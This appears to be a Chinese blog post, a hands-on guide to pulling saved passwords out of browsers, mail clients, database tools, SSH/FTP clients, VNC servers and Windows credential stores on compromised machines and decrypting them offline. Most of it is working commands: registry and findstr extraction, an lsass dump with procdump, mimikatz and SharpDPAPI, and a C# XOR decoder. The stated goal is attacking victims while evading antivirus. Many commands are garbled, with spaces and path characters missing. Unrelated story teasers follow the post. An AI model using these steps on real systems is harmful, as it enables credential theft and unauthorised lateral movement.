全!内网软件密码离线解密

前言

目前随着企业人员安全意识的提高,在真实环境中进行内网横向时大部分情况会遇到防护软件,网上公开的大部分软件密码解密工具,都需要在被攻击者的机器上面运行,在此期间可能会涉及到运行环境、杀软等多种情况,导致解密失败。本文搜集并总结了下内网中比较常见的一些软件的离线解密方法,包括最新版本和旧版本,适用于部分条件较为苛刻的真实环境中。后续可以根据获得的足够多的密码样本来分析该机主的密码设置方式和使用习惯,从而进行针对性的攻击利用。

360安全浏览器离线解密

首先切到指定用户权限下,获取机器id,把assis2.db账密数据库文件拖回本地执行解密

regquery"HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"/v"MachineGuid"

C:\Users\tale\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

执行解密

360SafeBrowserDecrypt.exe8efb8f7a-3ad6-4b78-b654-e4a433d76843assis2.db

Firefox 离线解密

打包firedox文件C:\Users\tale\AppDataoaming\Mozilla*.*本地解密

运行python firefox_decrypt.py最后进行本地解密,如果对方没有设置管理密码,直接回车即可看到结果

注:如直接从webshell或cs上打包,需切到指定用户权限下,关闭firefox进程。

然后进行打包完整用户数据库并拖回本地

Chrome 离线解密

条件:1.用户明文的密码,用于解密加密密钥(可以利用Masterkey离线导出Chrome浏览器中保存的密码,不需要获得用户的明文口令)2.加密密钥(即主密钥文件),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件3.数据库文件登录数据即Login Data4.Chrome密码还原工具ChromePass下载地址http://www.nirsoft.net/utils/chromepass.html

加密密钥(即主密钥文件),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件C:\Users\tale\AppDataoaming\Microsoft\Protect

数据库文件登录数据:C:\Users\tale\AppData\Local\Google\Chrome\User Data\Default\Login Data

FileZilla 客户端离线解密

filezilla 客户端的账密默认都是以base64存的,故解码下即可得到明文

存放路径C:\Users\tale\AppDataoaming\FileZilla

#dir %appdata%\FileZilla#cdC:\Users\tale\AppData\Roaming\FileZilla#findstr /c:"<Host>"/c:"<Port>"/c:"<User>"/c:"<Pass"/si *.xml#echodGlkZTEyMw== | base64 -d -i

Foxmail 离线解密

将Account.rec0文件拖回本地,该文件默认存放于Foxmail安装目录下的 Storage目录中注:每个邮箱都对应一个单独的Account.rec0,如果有多个邮箱那就把所有的Account.rec0 文件都拖回来C:\Foxmail 7.2\Storage\uhs0904019202@163.com\Accounts

本地加载解密https://securityxploded.com/foxmail-password-decryptor.php

Thunderbird 离线解密

Mozilla Thunderbird(中文俗称“雷鸟”)是从Mozilla Application Suite独立出来的电子邮件客户端。切到指定用户权限下,然后直接把数据目录下Thunderbird 的用户数据完整打包拖回本地里解密即可

# dir %appdata%\Thunderbird\Profiles# run cmd /c 7z.exe -r -pfxpwd123 a C:\Users\Riter\AppData\Roaming\Thunderbird\Profiles\*.* # ThunderFox.exe creds /target:"C:\Users\tale\Desktop\1stcbtpv.default-release"

Navicat 离线解密

Navicat在内网中遇见的比较多,很多情况下都默认保存了用户密码。在Navicat中保存的所有连接账密,都是直接存到对应注册表项值下的可直接以此来获取各类数据库的连接ip,端口,账号,密码hash,不同的数据库连接信息在注册表中的存放位置稍有不同,以mysql为例:一、mysql数据库连接账密具体存放位置

MySQLHKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\

二、查询当前用户的所有连接记录

# reg query HKEY_CURRENT_USER\Software\PremiumSoft

三、查询Mysql连接账密

#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host  数据库连接ip#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName  数据库用户名#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /vpwd密码hash#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v Port 据库连接端口

四、 hash本地解密

python3NavicatCipher.pydecB4931811A172BE7059B8

Mysql 离线本地解析

条件:需mysql5.0版本1、将目标Mysql data目录下的user.frm ,user.MYD ,user.MYI 文件托回来2、本地安装MySQL Server,装完之后立即停掉服务,将拖回来的那三个文件分别丢到 C:\Program Files\MySQL\MySQL Server\data\mysql 目录下进行替换

3、修改Mysql服务配置文件C:\Program Files\MySQL\MySQL Server\my.ini在mysqld配置项下添加如下配置,之后启动 Mysql服务

skip-grant-tables

4、无需密码直接登录mysql执行,即可拿到完整的密码hash

mysql>selectuser,password,hostfrommysql.user;

解密hash*A6FC877475CA625B65AD5C01F3C23EBE034B1D0B

PLSQL Developer离线解密

PL/SQL Developer,一个用于在Oracle数据库环境中开发软件的集成开发环境,专注于PL/SQL存储程序单元的开发。一、PLSQL Developer默认连接账密保存位置位于当前用户如下路径的user.prefs文件中,账号和密码的加密方式比较简单,只是简单异或

C:\Users\tale\AppData\Roaming\PLSQL Developer\Preferences\<username>\C:\Program Files\PLSQL Developer\Preferences\<username>\C:\Program Files (x86)\PLSQL Developer\Preferences\tale\

二、user.prefs文件需关注LogonHistory和CurrentConnections下的内容,此处的每一行都代表一条单独的连接记录

实质保存的就是以下内容进行的加密

三、将LogonHistoryCurrentConnections下的内容原样粘回本地,在代码中替换,解密即可

usingSystem;usingSystem.Collections.Generic;usingSystem.IO;publicclassProgram{publicstaticvoidMain(){varvalues =newList();varret =string.Empty;stringscrambled ="543498649004974360845304780507850564970477235823608363436450624608495449804532495246743932415040964234454844624006";for(vari =0; i < scrambled.Length; i +=4){values.Add(Convert.ToInt32(scrambled.Substring(i,4))); }varkey = values[0]; values.RemoveAt(0);for(vari =0; i < values.Count; i++) {varval = values[i] -1000; varmask = key + (10* (i +1));ret += (char)((val ^ mask) >>4); }Console.WriteLine(ret); }}

Xshell、Xftp离线解密

Xshell和Xftp中保存的连接账号密码都默认放在了本地的配置文件中加密存放。以Xshell为例,Xftp的解密过程相同一、首先,切到xshell安装用户下,定位文件路径,针对不同版本的产品,连接会话文件的默认存放位置稍有不同4.x以下的版本,基本放在了当前用户数据目录下的NetSarang目录中,

# dir %appdata%

5.x之后的版本,默认放在了当前用户的Documents目录下的NetSarang 目录中

#dir"%userprofile%\Documents\NetSarang\Xshell\Sessions"# dir "%userprofile%\Documents\NetSarang\Xftp\Sessions"

6.x之后的版本,放在了当前用户的Documents目录下,目录改了名叫 "NetSarang Computer"

#dir"%userprofile%\Documents"#dir"%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions"#dir"%userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions"

二、 然后批量提取所有会话文件中的连接ip,端口,账号,密码hash,另外还有当前用户名以及当前用户的sid注:5.0以下的版本无需用户名和sid4.x 以下版本

# cdC:\Users\tale\AppData\Roaming\NetSarang\Xshell\Sessions# type *.xsh | findstr /c:"Host="/c:"Port="/c:"Protocol="/c:"UserName="/c:"Password="

5.x 版本

# cdC:\Users\tale\Documents\NetSarang\Xshell\Sessions# type *.xsh | findstr /c:"Host="/c:"Port="/c:"Version="/c:"UserName="/c:"Password="

6.x 版本

# cdC:\Users\tale\Documents\NetSarangComputer\6\Xshell\Sessions# type *.xsh | findstr /c:"Host="/c:"Port="/c:"Version="/c:"UserName="/c:"Password="

三、将获取的信息粘回本地解密4.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 5.0 yq6eVPz4qERzkwXXX==

5.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 5.1 -user majun -sid S-1-5-21-2822152782-4156995639-893189310-1000 JepcR/nMFLmM8gNFXXX***

6.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 6.0 -user WangJuan -sid S-1-5-21-2637387663-1902877020-2618282464-XXX uX/QNt0PwbZ7rwNFBISFDEoKsXXX*

SecureCRT 离线解密

一、切到指定用户权限下,默认都存放在当前用户数据目录下的Config目录下的Sessions目录中,以.ini命名

#dir %APPDATA%\VanDyke\Config\Sessions#cdC:\Users\tale\AppData\Roaming\VanDyke\Config\Sessions

二、批量提取所有会话文件中的连接IP、端口、账号及密码hash如下:以8.0版本为例

# findstr /si /c:"Hostname"/c:"\"Username\"="/c:"\"Password V2\"="/c:"\"[SSH2] Port\"="*.ini

三、最后把密码hash粘回本地解密即可8.0版本解密 (不带前面三位 "02:")

c:\Python38\python.exeSecureCRTCipher.pydec-v2894b1f88420e3d9cfa89a7a06ab18d8e9e3ded949bdfgb1**

Mobaxterm 离线解密

该软件连接信息默认全部加密存于注册表内。一、第一种方式,无管理密码的解密,从注册表中读取连接信息和账密hash,测试MobaXterm版本为12.0 ,该版本不会强制为连接设置管理密码

然后带上目标机器名和MobaXterm的安装用户进行hash本地解密

c:\Python38\python.exeMobaXtermCipher.pydec-syshtale-sysuadministrator-h192.168.0.1-uroot+ARTYMdvHihPWokIa5KdDcjfIjb7pV1SFQD***

二、第二种方式,带管理密码的解密此处测试的MobaXterm为20.0,该版本每次连接都会强制你设置管理密码

# reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\Pc:\Python38\python.exe MobaXtermCipher.py dec -p admin ehx0N63ueLNPkw==

WinSCP 离线解密

一、WinSCP账号密码保存位置默认是直接加密保存在注册表中的,当然也不排除部分管理员把它保存在WinSCP.ini配置文件中,实际中如果注册表里确实查不到东西,最好先去桌面看下工具里的选项设置是存到哪里了

二、切到指定用户权限下,查询注册表中保存的连接账密

regquery x64 HKCU\Software\Martin Prikryl\WinSCP2\Sessions

regqueryx64HKCU\Software\MartinPrikryl\WinSCP2\Sessions\root@45.32.61.129

三、将上面的 hash 粘回本地解密

#winscppwd.exeroot192.168.159.206A35C4158201A0C7D2E3333286D656E726D6A64726D6965726E6C6A3D383135327D1C7F68691B58A20B8CEB61AC622D00A585

四、关于配置文件的解密

shelldir %appdata%

#winscppwd.exeWinSCP.ini

Royal TS 离线解密

切换到指定用户权限下,之后全盘搜".rtsz" 文件,从中提取IP,账号,hash,以最新版Royal TS为例

#cdc:\#dir /b /s *.rtsz#typeC:\Users\Public\Documents\First.rtsz | findstr /c:"CredentialOmitDomain"/c:"CredentialUsername"/c:"CredentialPassword"/c:"URI"

把 hash 粘回本地解密即可,如果 ".rtsz" 文件加了管理密码,则需要先知道管理密码才能解密

VNC Server 离线解密

一、UltraVNC Server 解密全盘搜ultravnc.ini配置文件,密码加密保存在内

#dir c:\*vnc.ini /s /b#type"c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini"| findstr /c:"pass"

二、TightVNC Server 解密TightVNC的账密配置信息存在注册表里内

# reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword # reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password# reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort

工具解密:

三、 TigerVNC Server解密TigerVNC Server的相关账密信息也存放在注册表中

#reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v"password"

四、RealVNC Server解密RealVNC Server的相关账密信息也存放在注册表中,但是需要管理权限才能读取

# reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password\

Windows RDP凭据管理解密

一、先切到指定用户权限下,执行如下命令查看目标Windows凭据管理器中是否保存有各种系统连接账密

# cmdkey /l

二、查看凭据文件并尝试dump目标系统lsass.exe进程数据,注:某些杀软目前会拦截此操作

# whoami /user# dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*# procdump64.exe -accepteula -ma lsass.exe c:\users\public\documents\lsass.dmp

三、将Dump的文件托回本地,离线解析获取当前用户的GUID和sha1 hash,后续需要利用该值解密数据

#mimikatz.exe"privilege::debug""logmaster.lgos" "sekurlsa::minidumplsass.dmp" "sekurlsa::dpapi""exit"

四、之后使用SharpDPAPI.exe利用上面的hash进行解密解密保存在目标本地的Rdp连接账密

# SharpDPAPI.exe credentials {a4294d6d-1baa-45fb-a5f3-aaa57e3fc69e}:0d6323ac1fa3da97a7b1914440cbd1dde5386935

总结

对内网渗透中常见的软件密码离线解密进行了总结,由于环境、防护设备等因素实战中也会遇到各种各样的问题,因此将一些解密工作转移到本机进行,从而提高成功率,后续也会结合实战继续对利用方法进行完善补充。如有需要网络安全资料的请加v:gogquick

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,716评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,558评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,431评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,127评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,511评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,692评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,915评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,664评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,412评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,616评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,105评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,424评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,098评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,096评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,869评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,748评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,641评论 2 271

推荐阅读更多精彩内容